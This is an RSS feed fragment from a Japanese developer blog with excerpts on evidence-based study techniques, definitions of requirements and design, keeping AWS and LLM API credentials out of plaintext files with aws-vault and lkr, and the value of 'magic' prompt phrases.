&lt;p&gt;アメリカの名門 4 大学が共同でまとめた研究結果がめちゃ有益で目玉飛び出た。この結果を見れば、今日から勉強の効率を爆上げできるかも。研究では、世の中で有効と言われている 10 種類の勉強法を過去の膨大な実験結果から格付け。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;元になっている論文は Dunlosky et al. (2013) による &lt;a href="https://journals.sagepub.com/doi/abs/10.1177/1529100612453266"&gt;&amp;ldquo;Improving Students&amp;rsquo; Learning With Effective Learning Techniques&amp;rdquo;&lt;/a&gt;（全 55 ページ）です。本記事では、この論文の知見を技術者の学習にも活かせるよう、各勉強法の評価理由と実践方法を解説します。&lt;/p&gt;
&lt;h2 id="論文の概要"&gt;論文の概要&lt;/h2&gt;
&lt;h3 id="著者と所属"&gt;著者と所属&lt;/h3&gt;
&lt;p&gt;4 大学 5 名の認知心理学・教育心理学の研究者が執筆しました。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;著者&lt;/th&gt;
&lt;th&gt;所属大学&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;John Dunlosky&lt;/td&gt;
&lt;td&gt;Kent State University&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Katherine A. Rawson&lt;/td&gt;
&lt;td&gt;Kent State University&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Elizabeth J. Marsh&lt;/td&gt;
&lt;td&gt;Duke University&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mitchell J. Nathan&lt;/td&gt;
&lt;td&gt;University of Wisconsin-Madison&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Daniel T. Willingham&lt;/td&gt;
&lt;td&gt;University of Virginia&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="研究方法"&gt;研究方法&lt;/h3&gt;
&lt;p&gt;過去に発表された膨大な実験結果をメタ分析し、10 種類の勉強法を 4 つの変数カテゴリ（学習条件、学習者の特性、教材の種類、評価タスク）で横断的に評価しています。単一の実験ではなく、&lt;strong&gt;数十年にわたる研究の蓄積を総合評価&lt;/strong&gt;した点が特徴です。&lt;/p&gt;</description></item><item><title>要求定義・仕様記述・設計・検証の手引き × 3つの理論で統一する成果物定義</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E8%A6%81%E6%B1%82%E5%AE%9A%E7%BE%A9%E4%BB%95%E6%A7%98%E8%A8%98%E8%BF%B0%E8%A8%AD%E8%A8%88%E6%A4%9C%E8%A8%BC%E3%81%AE%E6%89%8B%E5%BC%95%E3%81%8D-3%E3%81%A4%E3%81%AE%E7%90%86%E8%AB%96%E3%81%A7%E7%B5%B1%E4%B8%80%E3%81%99%E3%82%8B%E6%88%90%E6%9E%9C%E7%89%A9%E5%AE%9A%E7%BE%A9/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E8%A6%81%E6%B1%82%E5%AE%9A%E7%BE%A9%E4%BB%95%E6%A7%98%E8%A8%98%E8%BF%B0%E8%A8%AD%E8%A8%88%E6%A4%9C%E8%A8%BC%E3%81%AE%E6%89%8B%E5%BC%95%E3%81%8D-3%E3%81%A4%E3%81%AE%E7%90%86%E8%AB%96%E3%81%A7%E7%B5%B1%E4%B8%80%E3%81%99%E3%82%8B%E6%88%90%E6%9E%9C%E7%89%A9%E5%AE%9A%E7%BE%A9/</guid><description>&lt;h1 id="要求定義仕様記述設計検証の手引き--3つの理論で統一する成果物定義"&gt;要求定義・仕様記述・設計・検証の手引き × 3つの理論で統一する成果物定義&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/orga_chem"&gt;Kuniwak さん（@orga_chem）&lt;/a&gt;が、要求定義・仕様記述・設計・検証を統一的に定義する資料を公開し、大きな反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;知人から辞書（悪い意味）との評価をうけた資料を公開しました。要求が何か、仕様が何か、設計が何か、検証が何かを明確に説明できない方向けの資料です。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/orga_chem/status/2028973674876051777"&gt;https://x.com/orga_chem/status/2028973674876051777&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;126 いいね・22 RT・127 ブックマーク（10,847 表示）を集めたこのポストが指すのは、&lt;a href="https://speakerdeck.com/orgachem/guidelines-for-requirements-definition-specification-writing-design-and-verification"&gt;Speaker Deck で公開されたスライド資料&lt;/a&gt;です。「辞書（悪い意味）」と評されるほどの網羅性を持ちながら、Jackson（要求論）・Hoare（CSP）・Meyer（DbC）という3つの理論的基盤で全体を貫く一貫した構成が特徴です。&lt;/p&gt;
&lt;h2 id="なぜこの資料が必要なのか"&gt;なぜこの資料が必要なのか&lt;/h2&gt;
&lt;p&gt;ソフトウェア開発の現場では、「要求」「仕様」「設計」の区別が曖昧なまま開発が進むことが珍しくありません。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;「この機能の仕様は？」と聞かれて、要求（何を解決したいか）を答えてしまう&lt;/li&gt;
&lt;li&gt;「設計書を書いて」と言われて、仕様（何をするか）を書いてしまう&lt;/li&gt;
&lt;li&gt;テストケースが何を検証しているのか、要求なのか仕様なのか不明確&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この曖昧さが、手戻り・認識ズレ・テスト漏れの根本原因になっています。Kuniwak さんの資料は、これら4つの成果物を&lt;strong&gt;数学的な基盤から明確に定義&lt;/strong&gt;することで、チーム内の共通言語を確立しようとするものです。&lt;/p&gt;
&lt;h2 id="基礎概念-イベント状態機械トレース並行合成"&gt;基礎概念: イベント・状態機械・トレース・並行合成&lt;/h2&gt;
&lt;p&gt;資料の全体を貫く基礎概念は4つあり、下から順に積み上がるレイヤー構造になっています。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;レイヤー3: 並行合成 複数の状態機械を組み合わせる操作
↑ 状態機械を使う
レイヤー2: トレース 状態機械の上を走る「実行パス」
↑ 状態機械の上で定義される
レイヤー1: 状態機械 状態とイベントと遷移の構造
↑ イベントで構成される
レイヤー0: イベント 最小単位（ボタン押下、時間経過など）
&lt;/code&gt;&lt;/pre&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;レイヤー&lt;/th&gt;
&lt;th&gt;概念&lt;/th&gt;
&lt;th&gt;何を定義するか&lt;/th&gt;
&lt;th&gt;比喩&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;イベント&lt;/td&gt;
&lt;td&gt;「何が起きるか」の最小単位&lt;/td&gt;
&lt;td&gt;将棋の「一手」&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;状態機械&lt;/td&gt;
&lt;td&gt;イベントでどう状態が変わるかの&lt;strong&gt;構造&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;将棋の「盤面と駒の動きのルール」&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;トレース&lt;/td&gt;
&lt;td&gt;状態機械の上を実際に通る&lt;strong&gt;経路&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;将棋の「棋譜」（実際に指した手の列）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;並行合成&lt;/td&gt;
&lt;td&gt;複数の状態機械を&lt;strong&gt;組み合わせる&lt;/strong&gt;操作&lt;/td&gt;
&lt;td&gt;複数の対局が連動するルール&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;上位の概念は下位の概念なしには定義できません。トレースは状態機械がなければ経路を辿れず、状態機械はイベントがなければ遷移が起きません。この順序で理解することが重要です。&lt;/p&gt;
&lt;h3 id="レイヤー0-イベント"&gt;レイヤー0: イベント&lt;/h3&gt;
&lt;p&gt;状態遷移の引き金となる最小単位です。UI 操作、時間経過、通信など、さまざまな形態があります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ユーザーが「送信」ボタンを押す → イベント
3秒経過する → イベント
サーバーからレスポンスが届く → イベント
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;イベント単体では「何かが起きた」という事実だけです。これが意味を持つのは、次のレイヤーである状態機械の中に置かれたときです。&lt;/p&gt;</description></item><item><title>.envの代わりにaws-vaultで安全に環境変数を与える — Claude Code時代のAWS認証情報管理</title><link>https://hdknr.github.io/blogs/posts/2026/03/.env%E3%81%AE%E4%BB%A3%E3%82%8F%E3%82%8A%E3%81%ABaws-vault%E3%81%A7%E5%AE%89%E5%85%A8%E3%81%AB%E7%92%B0%E5%A2%83%E5%A4%89%E6%95%B0%E3%82%92%E4%B8%8E%E3%81%88%E3%82%8B-claude-code%E6%99%82%E4%BB%A3%E3%81%AEaws%E8%AA%8D%E8%A8%BC%E6%83%85%E5%A0%B1%E7%AE%A1%E7%90%86/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/.env%E3%81%AE%E4%BB%A3%E3%82%8F%E3%82%8A%E3%81%ABaws-vault%E3%81%A7%E5%AE%89%E5%85%A8%E3%81%AB%E7%92%B0%E5%A2%83%E5%A4%89%E6%95%B0%E3%82%92%E4%B8%8E%E3%81%88%E3%82%8B-claude-code%E6%99%82%E4%BB%A3%E3%81%AEaws%E8%AA%8D%E8%A8%BC%E6%83%85%E5%A0%B1%E7%AE%A1%E7%90%86/</guid><description>&lt;h1 id="env-の代わりに-aws-vault-で安全に環境変数を与える--claude-code-時代の-aws-認証情報管理"&gt;.env の代わりに aws-vault で安全に環境変数を与える — Claude Code 時代の AWS 認証情報管理&lt;/h1&gt;
&lt;p&gt;AI エージェントがローカルファイルを直接読み書きする時代、&lt;code&gt;.env&lt;/code&gt; に平文で認証情報を置くリスクが顕在化しています。&lt;a href="https://gist.github.com/hdknr/12f83bb3b6d488806a8396e9b2c8305a"&gt;前回の記事&lt;/a&gt;では、この問題の背景と複数のシークレット管理ツールを紹介しました。&lt;/p&gt;
&lt;p&gt;本記事では、AWS を利用しているチームに向けて、&lt;a href="https://github.com/99designs/aws-vault"&gt;aws-vault&lt;/a&gt; を使って &lt;code&gt;.env&lt;/code&gt; と &lt;code&gt;~/.aws/credentials&lt;/code&gt; を完全に排除する具体的な手順を解説します。&lt;/p&gt;
&lt;h2 id="aws-vault-が解決する問題"&gt;aws-vault が解決する問題&lt;/h2&gt;
&lt;h3 id="awscredentials-の平文問題"&gt;~/.aws/credentials の平文問題&lt;/h3&gt;
&lt;p&gt;AWS CLI を使う開発者の多くは、&lt;code&gt;~/.aws/credentials&lt;/code&gt; にアクセスキーを平文で保存しています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ~/.aws/credentials（平文で保存されている）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[default]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;aws_access_key_id&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;AKIAIOSFODNN7EXAMPLE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;aws_secret_access_key&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;このファイルには2つのリスクがあります。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Claude Code が読み取れる&lt;/strong&gt;: AI エージェントがファイルシステムを探索する際、&lt;code&gt;~/.aws/credentials&lt;/code&gt; のアクセスキーが LLM のコンテキストに載る可能性がある&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;長期的な認証情報が漏洩する&lt;/strong&gt;: アクセスキーには有効期限がなく、漏洩した場合は手動でローテーションするまで悪用され続ける&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="aws-vault-のアプローチ"&gt;aws-vault のアプローチ&lt;/h3&gt;
&lt;p&gt;aws-vault は以下の2段階で問題を解決します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;暗号化保存&lt;/strong&gt;: アクセスキーを &lt;code&gt;~/.aws/credentials&lt;/code&gt; ではなく、OS のキーストア（macOS Keychain 等）に暗号化して保存する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一時認証の生成&lt;/strong&gt;: AWS STS（Security Token Service）を使って、1時間で失効する一時認証情報を生成し、子プロセスに注入する&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[従来]
~/.aws/credentials（平文） → AWS CLI / boto3 が直接読み取り
→ 長期キーがメモリに残る
[aws-vault]
macOS Keychain（暗号化） → aws-vault が STS で一時認証を生成
→ 子プロセスに環境変数として注入
→ 1時間で失効
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="セットアップ"&gt;セットアップ&lt;/h2&gt;
&lt;h3 id="インストール"&gt;インストール&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# macOS（推奨）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;brew install --cask aws-vault
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# macOS（Homebrew formula 版）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;brew install aws-vault
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Linux&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;brew install aws-vault
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Windows&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;choco install aws-vault
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# または&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;scoop install aws-vault
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;macOS では &lt;code&gt;--cask&lt;/code&gt; 版が推奨されています。コード署名されているため、Keychain アクセス時の追加のパスワードプロンプトが少なくなります。&lt;/p&gt;</description></item><item><title>.envの代わりにlkrでLLM APIキーを安全に管理する — セットアップからClaude Code連携まで</title><link>https://hdknr.github.io/blogs/posts/2026/03/.env%E3%81%AE%E4%BB%A3%E3%82%8F%E3%82%8A%E3%81%ABlkr%E3%81%A7llm-api%E3%82%AD%E3%83%BC%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E7%AE%A1%E7%90%86%E3%81%99%E3%82%8B-%E3%82%BB%E3%83%83%E3%83%88%E3%82%A2%E3%83%83%E3%83%97%E3%81%8B%E3%82%89claude-code%E9%80%A3%E6%90%BA%E3%81%BE%E3%81%A7/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/.env%E3%81%AE%E4%BB%A3%E3%82%8F%E3%82%8A%E3%81%ABlkr%E3%81%A7llm-api%E3%82%AD%E3%83%BC%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E7%AE%A1%E7%90%86%E3%81%99%E3%82%8B-%E3%82%BB%E3%83%83%E3%83%88%E3%82%A2%E3%83%83%E3%83%97%E3%81%8B%E3%82%89claude-code%E9%80%A3%E6%90%BA%E3%81%BE%E3%81%A7/</guid><description>&lt;h1 id="env-の代わりに-lkr-で-llm-api-キーを安全に管理する--セットアップから-claude-code-連携まで"&gt;.env の代わりに lkr で LLM API キーを安全に管理する — セットアップから Claude Code 連携まで&lt;/h1&gt;
&lt;p&gt;AI エージェントがローカルファイルを読み書きする時代、&lt;code&gt;.env&lt;/code&gt; に平文で置いた API キーが LLM のコンテキストに載るリスクが現実のものになっています。&lt;a href="https://gist.github.com/hdknr/12f83bb3b6d488806a8396e9b2c8305a"&gt;前回の記事&lt;/a&gt;ではこの問題の全体像を、&lt;a href="https://gist.github.com/hdknr/c6757cc9fa558f456eb0920dea2f76e1"&gt;aws-vault の記事&lt;/a&gt;では AWS 認証情報の保護を解説しました。&lt;/p&gt;
&lt;p&gt;本記事では、&lt;a href="https://github.com/yottayoshida/llm-key-ring"&gt;LLM Key Ring（lkr）&lt;/a&gt;を使って LLM API キーを安全に管理する具体的な手順を解説します。aws-vault が AWS 認証情報に特化しているのに対し、lkr は OpenAI・Anthropic・Google など &lt;strong&gt;LLM API キーの管理に特化&lt;/strong&gt;したツールです。&lt;/p&gt;
&lt;h2 id="lkr-が解決する問題"&gt;lkr が解決する問題&lt;/h2&gt;
&lt;h3 id="env-に-llm-api-キーを置くリスク"&gt;.env に LLM API キーを置くリスク&lt;/h3&gt;
&lt;p&gt;多くの開発者は &lt;code&gt;.env&lt;/code&gt; ファイルに API キーを平文で保存しています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# .env（平文で保存されている）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OPENAI_API_KEY&lt;span style="color:#f92672"&gt;=&lt;/span&gt;sk-proj-xxxxxxxxxxxxxxxxxxxx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ANTHROPIC_API_KEY&lt;span style="color:#f92672"&gt;=&lt;/span&gt;sk-ant-xxxxxxxxxxxxxxxxxxxx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;このファイルには4つの攻撃ベクトルがあります。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;攻撃ベクトル&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Git への混入&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.gitignore&lt;/code&gt; に頼るヒューマンエラー。うっかりコミットは後を絶たない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;シェル履歴への漏洩&lt;/td&gt;
&lt;td&gt;&lt;code&gt;export OPENAI_API_KEY=sk-...&lt;/code&gt; が &lt;code&gt;~/.bash_history&lt;/code&gt; に残る&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;プロセス情報への露出&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ps&lt;/code&gt; コマンドで環境変数が見える&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AI エージェントによる抽出&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Claude Code がファイルを読み取り、LLM の API リクエストに含まれる&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;4番目が AI 時代に特有の脅威です。Claude Code は&lt;a href="https://www.knostic.ai/blog/claude-loads-secrets-without-permission"&gt;.env ファイルを自動的に読み込む&lt;/a&gt;ことが確認されており、API キーが意図せず Anthropic のサーバーに送信されるリスクがあります。&lt;/p&gt;</description></item><item><title>「AIが覚醒する魔法の言葉」は本当に効くのか — プロンプトエンジニアリングの実態と公式ガイドの教え</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%81%8C%E8%A6%9A%E9%86%92%E3%81%99%E3%82%8B%E9%AD%94%E6%B3%95%E3%81%AE%E8%A8%80%E8%91%89%E3%81%AF%E6%9C%AC%E5%BD%93%E3%81%AB%E5%8A%B9%E3%81%8F%E3%81%AE%E3%81%8B-%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%AE%E5%AE%9F%E6%85%8B%E3%81%A8%E5%85%AC%E5%BC%8F%E3%82%AC%E3%82%A4%E3%83%89%E3%81%AE%E6%95%99%E3%81%88/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%81%8C%E8%A6%9A%E9%86%92%E3%81%99%E3%82%8B%E9%AD%94%E6%B3%95%E3%81%AE%E8%A8%80%E8%91%89%E3%81%AF%E6%9C%AC%E5%BD%93%E3%81%AB%E5%8A%B9%E3%81%8F%E3%81%AE%E3%81%8B-%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%AE%E5%AE%9F%E6%85%8B%E3%81%A8%E5%85%AC%E5%BC%8F%E3%82%AC%E3%82%A4%E3%83%89%E3%81%AE%E6%95%99%E3%81%88/</guid><description>&lt;h1 id="aiが覚醒する魔法の言葉は本当に効くのか--プロンプトエンジニアリングの実態と公式ガイドの教え"&gt;「AIが覚醒する魔法の言葉」は本当に効くのか — プロンプトエンジニアリングの実態と公式ガイドの教え&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/fit_youtubead/status/2028384815486222807"&gt;@fit_youtubead 氏のポスト&lt;/a&gt;が、Claude と ChatGPT で使える「魔法のプロンプト」を紹介し、大きな反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「最高の専門家として、思考プロセスを分解し、初心者にも再現できる形で5ステップで出力してください」&lt;/p&gt;
&lt;p&gt;これだけ。なぜ強いのか？理由は3つ。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;役割を与える → AIの精度が跳ね上がる&lt;/li&gt;
&lt;li&gt;思考を分解させる → 中身が薄くならない&lt;/li&gt;
&lt;li&gt;再現性を指定する → 実用的で使えるアウトプットになる&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
